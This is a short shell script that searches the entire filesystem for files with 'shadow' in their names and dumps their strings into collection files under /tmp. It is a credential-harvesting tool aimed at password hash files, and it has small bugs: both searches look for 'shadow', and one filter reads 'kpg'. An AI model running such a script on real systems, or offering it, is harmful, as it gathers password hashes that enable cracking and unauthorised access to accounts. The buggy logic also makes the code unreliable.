#!/bin/sh
shad=/tmp/shadowz;
passw=/tmp/passws;
sleep_time=2;
out_passw=/tmp/found_passwdz;
out_shad=/tmp/found_shadowz;

search_pwds_and_shads () {
( find / -name "*shadow*" 2>/dev/null > $shad;\
find / -name "*shadow*" 2>/dev/null > $passw; )
}

inspect_found_passw () {
for i in `cat $passw | grep -v png | grep -v jpg | grep -v gif | grep -v "\.gz" | grep -v "doc"`; do
(echo $i; strings $i | tee -a $out_passw); sleep $sleep_time;
done

}

inspect_found_shad () {
for i in `cat $shad | grep -v png | grep -v kpg | grep -v gif | grep -v "\.gz" | grep -v "doc"`; do
(echo $i; strings $i | tee -a $out_shad); sleep $sleep_time;

done

}

main () {

search_pwds_and_shads;
inspect_found_passw;
inspect_found_shad;

}

main;



